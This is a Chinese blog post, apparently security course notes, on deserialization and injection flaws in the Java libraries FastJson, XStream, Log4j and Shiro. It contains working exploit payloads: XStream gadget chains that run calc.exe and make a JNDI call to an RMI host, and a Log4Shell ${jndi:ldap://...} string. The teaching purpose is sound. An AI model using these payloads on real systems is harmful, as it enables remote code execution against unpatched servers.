Web开发-JavaEE应用&依赖项&Log4j日志&Shiro验证&FastJson数据&XStream格式

最新推荐文章于 2025-05-06 15:53:33 发布
最新推荐文章于 2025-05-06 15:53:33 发布
阅读量692 收藏 2
点赞数 2
分类专栏： # Web开发 文章标签： java-ee log4j shiro fastjson xstream
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_60571842/article/details/147564845
版权

知识点：
1、安全开发-JavaEE-第三方依赖开发安全
2、安全开发-JavaEE-数据转换&FastJson&XStream
3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理

一、演示案例-WEB开发-JavaEE-第三方依赖&FastJson&XStream

FastJson

一个阿里巴巴开发的Java库，提供了Java对象与JSON相互转换。
在这里插入图片描述

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

1、序列化方法

JSON.toJSONString()，对象转换为JSON字符串；
JSON.toJSONBytes()，对象转换为byte数组；

2、反序列化方法

JSON.parseObject()，返回JsonObject；
JSON.parse()，返回Object；
JSON.parseArray(), 返回JSONArray；
将JSON对象转换为java对象：JSON.toJavaObject()；
将JSON对象写入write流：JSON.writeJSONString()；

3、常用

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

演示：1.2.24及1.2.25版本
结论：反序列化时会调用类里的get及set方法
利用：已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递JSON数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考：https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ

在这里插入图片描述

XStream

一个简单的基于Java库，将Java对象序列化为XML，反之亦然(即：可以轻易的将Java对象和XML相互转换)。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.5</version>
</dependency>
 
<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.15</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

序列化Car类

Car car = new Car("Ferrari", 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);

在这里插入图片描述

反序列化Car类

String xml = "上述序列化类的数据";
XStream xStream = new XStream();
xStream.fromXML(xml);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

已知类的调用方法

String xml = "<com.example.xstreamdemo.Car serialization=\"custom\">\n" +
                " <com.example.xstreamdemo.Car>\n" +
                " <default>\n" +
                " <price>4000000</price>\n" +
                " <name>Ferrari</name>\n" +
                " </default>\n" +
                " </com.example.xstreamdemo.Car>\n" +
                "</com.example.xstreamdemo.Car>";

自带类的调用链固定版本的CVE

String payload = "<sorted-set>\n" +
                " <dynamic-proxy>\n" +
                " <interface>java.lang.Comparable</interface>\n" +
                " <handler class=\"java.beans.EventHandler\">\n" +
                " <target class=\"java.lang.ProcessBuilder\">\n" +
                " <command>\n" +
                " <string>calc.exe</string>\n" +
                " </command>\n" +
                " </target>\n" +
                " <action>start</action>\n" +
                " </handler>\n" +
                " </dynamic-proxy>\n" +
                "</sorted-set>";

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

String poc="<java.util.PriorityQueue serialization='custom'>\n" +
                " <unserializable-parents/>\n" +
                " <java.util.PriorityQueue>\n" +
                " <default>\n" +
                " <size>2</size>\n" +
                " <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +
                " <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +
                " <packet>\n" +
                " <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +
                " <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +
                " <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +
                " <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +
                " <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +
                " <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +
                " <uriProperties/>\n" +
                " <attributeProperties/>\n" +
                " <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +
                " <getter>\n" +
                " <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
                " <name>getDatabaseMetaData</name>\n" +
                " <parameter-types/>\n" +
                " </getter>\n" +
                " </inheritedAttWildcard>\n" +
                " </bi>\n" +
                " <tagName/>\n" +
                " <context>\n" +
                " <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +
                " <outer-class reference='../..'/>\n" +
                " </marshallerPool>\n" +
                " <nameList>\n" +
                " <nsUriCannotBeDefaulted>\n" +
                " <boolean>true</boolean>\n" +
                " </nsUriCannotBeDefaulted>\n" +
                " <namespaceURIs>\n" +
                " <string>1</string>\n" +
                " </namespaceURIs>\n" +
                " <localNames>\n" +
                " <string>UTF-8</string>\n" +
                " </localNames>\n" +
                " </nameList>\n" +
                " </context>\n" +
                " </bridge>\n" +
                " </bridge>\n" +
                " <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +
                " <javax.sql.rowset.BaseRowSet>\n" +
                " <default>\n" +
                " <concurrency>1008</concurrency>\n" +
                " <escapeProcessing>true</escapeProcessing>\n" +
                " <fetchDir>1000</fetchDir>\n" +
                " <fetchSize>0</fetchSize>\n" +
                " <isolation>2</isolation>\n" +
                " <maxFieldSize>0</maxFieldSize>\n" +
                " <maxRows>0</maxRows>\n" +
                " <queryTimeout>0</queryTimeout>\n" +
                " <readOnly>true</readOnly>\n" +
                " <rowSetType>1004</rowSetType>\n" +
                " <showDeleted>false</showDeleted>\n" +
                " <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" +
                " <params/>\n" +
                " </default>\n" +
                " </javax.sql.rowset.BaseRowSet>\n" +
                " <com.sun.rowset.JdbcRowSetImpl>\n" +
                " <default>\n" +
                " <iMatchColumns>\n" +
                " <int>-1</int>\n" +
                " <int>-1</int>\n" +
                " <int>-1</int>\n" +
                " <int>-1</int>\n" +
                " <int>-1</int>\n" +
                " <int>-1</int>\n" +
                " <int>-1</int>\n" +
                " <int>-1</int>\n" +
                " <int>-1</int>\n" +
                " <int>-1</int>\n" +
                " </iMatchColumns>\n" +
                " <strMatchColumns>\n" +
                " <string>foo</string>\n" +
                " <null/>\n" +
                " <null/>\n" +
                " <null/>\n" +
                " <null/>\n" +
                " <null/>\n" +
                " <null/>\n" +
                " <null/>\n" +
                " <null/>\n" +
                " <null/>\n" +
                " </strMatchColumns>\n" +
                " </default>\n" +
                " </com.sun.rowset.JdbcRowSetImpl>\n" +
                " </jaxbObject>\n" +
                " </dataSource>\n" +
                " </message>\n" +
                " <satellites/>\n" +
                " <invocationProperties/>\n" +
                " </packet>\n" +
                " </indexMap>\n" +
                " </comparator>\n" +
                " </default>\n" +
                " <int>3</int>\n" +
                " <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
                " <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
                " </java.util.PriorityQueue>\n" +
                "</java.util.PriorityQueue>";

在这里插入图片描述
在这里插入图片描述

结论：反序列化时会调用类里的readObject方法(类需继承序列化接口)
利用：已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递XML数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考：https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A

二、演示案例-WEB开发-JavaEE-第三方依赖&Shrio验证&Log4j日志

Log4j

一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。
在这里插入图片描述

1、Maven引用

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

在这里插入图片描述
在这里插入图片描述

2、接受输入值

3、Log4j错误处理

4、Jndi注入RCE执行

在这里插入图片描述

String code="${java:os}";
logger.error("{}",code);

在这里插入图片描述

String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
logger.error("{}",exp);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

演示：2.14.1版本
结论：尝试输出日志时可利用JNDI注入触发RCE
利用：黑盒在各种地方插入 白盒看库版本和反序列化方法和对应可控变量
参考：https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA

Shiro

一个强大且易用的安全框架，可用于身份验证、授权、加密和会话管理等。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

开发技术：利用AI提示写一个
结论：配置不当(未授权)或版本安全漏洞
利用：固定版本的CVE利用
黑盒看身份验证数据包 白盒看版本及对应安全问题
参考：https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag
【第35课】安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载
Lucker_YYY的博客
09-10 1038
1121212Java知识点：功能：数据库操作，文件操作，序列化数据，身份验证，框架开发，第三方库使用等.框架库：MyBatis，SpringMVC，SpringBoot，Shiro，Log4j，FastJson等技术：Servlet，Listen，Filter，Interceptor，JWT，AOP，反射机制待补充安全：SQL注入，RCE执行，反序列化，脆弱验证，未授权访问，待补充安全：原生开发安全，第三方框架安全，第三方库安全等，待补充。
【第36课】安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入
Lucker_YYY的博客
09-10 749
121212Java知识点：功能：数据库操作，文件操作，序列化数据，身份验证，框架开发，第三方库使用等.框架库：MyBatis，SpringMVC，SpringBoot，Shiro，Log4j，FastJson等技术：Servlet，Listen，Filter，Interceptor，JWT，AOP，反射机制待补充安全：SQL注入，RCE执行，反序列化，脆弱验证，未授权访问，待补充安全：原生开发安全，第三方框架安全，第三方库安全等，待补充。
第48天：Web开发-JavaEE应用&依赖项&Log4j日志&Shiro验证&FastJson数据&XStream格式
wusaicyq的博客
02-25 742
>造成我们白盒/黑盒发现了该Java代码使用xstream组件，也知道该组件的版本，并从网上找到了该版本xstream的payload->但是payloa执行不成功->分析：很有可能是jkd版本不对（该paoload里面有JNDI注入，该注入受jdk版本限制）打开一个网页，看到有上传参数的点，无脑上传log4j的payload，因为不知道代码，也不知道是哪里接受恶意参数，只能无脑上传来测试。参考：https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A。
Day35：安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载
qq_61553520的博客
03-11 1242
小迪安全-Day35：安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载
48-JavaEE 开发中的第三方依赖安全：Log4j、FastJson、XStream 与 Shiro 的深度剖析
m0_70346880的博客
03-21 684
Log4j 是 Apache 基金会开发的一款基于 Java 的日志记录工具，广泛应用于各种业务系统中。它提供了灵活的日志记录功能，支持将日志信息输出到控制台、文件、数据库等多种目的地。FastJson 是阿里巴巴开发的一款高性能 JSON 库，用于 Java 对象与 JSON 字符串之间的相互转换。它以其高效性和易用性被广泛应用于各种 Java 应用中。XStream 是一个用于将 Java 对象序列化为 XML，以及从 XML 反序列化为 Java 对象的库。（摘錄小迪安全）
48-JavaEE开发中的第三方依赖库安全
m0_70346880的博客
03-21 933
摘錄小迪安全
slf4j升级到log4j2 jar版本问题
qq_42312104的博客
06-13 606
slf4j升级到log4j2 jar版本问题
2020年网络安全漏洞态势报告-Web应用漏洞
H3C的博客
05-11 2271
Web应用漏洞 2020年的“全面推进互联网+，打造数字经济新优势”背景下，数字化经济发展促进了基于互联网的数字化系统和创新应用程序的快速增长。同时由于网络攻击技术和目标类型的更新，数字化转型后业务安全面的挑战也日益严峻，其中Web应用程序漏洞仍然是网络攻击的主要入口。2020年新华三共收录Web应用漏洞6067个，较2019年同期（3837个）增长58.1%，对比2019年和2020年每月Web应用漏洞变化趋势如下图： 图5 2020与2019年Web应用新增漏洞趋势 2.1、漏洞分类 ..
【代码审计-JAVA】javaweb代码审计思路
12-11 3564
【代码审计-JAVA】javaweb代码审计思路
Spring+lucene+mybatis+FastDFS+memcached, maven web 开发 dependencies
w597265467的博客
09-17 554
maven Spring web开发jar 依赖坐标dependencies 1.7 UTF-8 UTF-8 4.1.6.RELEASE 4.12 2.5.4 1.6.2.RELEASE org.apache.poi poi-scratchpad
JavaEE源代码 log4j-1.2.14
07-09
JavaEE源代码 log4j-1.2.14JavaEE源代码 log4j-1.2.14JavaEE源代码 log4j-1.2.14JavaEE源代码 log4j-1.2.14JavaEE源代码 log4j-1.2.14JavaEE源代码 log4j-1.2.14JavaEE源代码 log4j-1.2.14JavaEE源代码 log4j-1.2.14...
JavaEE源代码 log4j-1.2.11
07-09
JavaEE源代码 log4j-1.2.11JavaEE源代码 log4j-1.2.11JavaEE源代码 log4j-1.2.11JavaEE源代码 log4j-1.2.11JavaEE源代码 log4j-1.2.11JavaEE源代码 log4j-1.2.11JavaEE源代码 log4j-1.2.11JavaEE源代码 log4j-1.2.11...
【第39课】安全开发-JavaEE应用&SpringBoot框架&Actuator监控泄漏&Swagger自动化
Lucker_YYY的博客
09-10 927
111功能：数据库操作，文件操作，序列化数据，身份验证，框架开发，第三方组件使用等.框架库：MyBatis，SpringMVC，SpringBoot，Shiro，Log4j，FastJson等技术：Servlet，Listen，Filter，Interceptor，JWT，AOP，反射机制待补充安全：SQL注入，RCE执行，反序列化，脆弱验证，未授权访问，待补充安全：原生开发安全，第三方框架安全，第三方组件安全等，架构分析，待补充。
【Java ee初阶】多线程（5）
purrrew的博客
05-05 767
wait notify 是两个用来协调线程执行顺序的关键字，用来避免“线程饿死”的情况。wait 和 notify 其实都是 Object 这个类的方法，而 Object这个类是所有类的“祖宗类”，也就是说明，任何一个类，都可以调用wait 和notify这两个方法。Java标准库中，涉及到阻塞的方法，都可能抛出InterruptedException让我们来观察一下这个异常的名字。Illegal：非法的，不正确的，不合理的（而不是违反法律的）、
[javaEE]网络编程
mr_yuanshen的博客
05-02 1809
由于我们之前已经写多了socket对udq的实现，所以我们这节，主要将重心放在Tcp之上。
【JavaEE】网络原理之初识（1.0）
mr_yuanshen的博客
04-30 1140
IP地址用于标识主机网络地址。
【Java ee初阶】多线程（7）
purrrew的博客
05-05 1079
比如想把线程池中的线程，按照一定的规则，设置name，或者想把线程池的线程全都设置成后台线程，或者都设置xxx为优先级。线程池在使用的时候，首先会创建一些线程，然后需要调用者给线程池放一些任务，这些线程就会从队列中取出任务，并且执行里面的代码。因此直接让添加任务的线程阻塞，其实是不太好的，不太好就意味着要有其他的方法——因此标准库的线程池就引入了“拒绝策略”正常情况下，是线程池里面的线程执行任务的，但是现在线程池里面的线程忙不过来了，就只能由调用者自己找个线程来执行任务。为什么需要定时器呢？
unittest自动化测试实战
最新发布
LAMO
05-06 670
这些资料，对于做【软件测试】的朋友来说应该是最全面最完整的备战仓库，这个仓库也陪伴我走过了最艰难的路程，希望也能帮助到你！凡事要趁早，特别是技术行业，一定要提升技术功底。
软件测试名词科普：驱动模块、桩模块
跟佟格码路一起学习计算机知识吧~
05-03 688
在软件测试中，​驱动模块（Driver Module）​和桩模块（Stub Module）​是两种用于单元测试的关键组件，主要用于模拟测试环境中的依赖关系，确保被测单元（Unit Under Test, UUT）能够独立运行。
深入探索JavaEE源代码log4j-1.2.14版本特性
通过在项目中配置log4j.properties或log4j.xml文件，开发者可以定义日志格式、日志级别、以及日志输出的目标等。这种集成方式使得日志系统与应用程序的其他部分解耦，便于管理和维护。 总结而言，JavaEE源代码 log4...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SuperherRo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值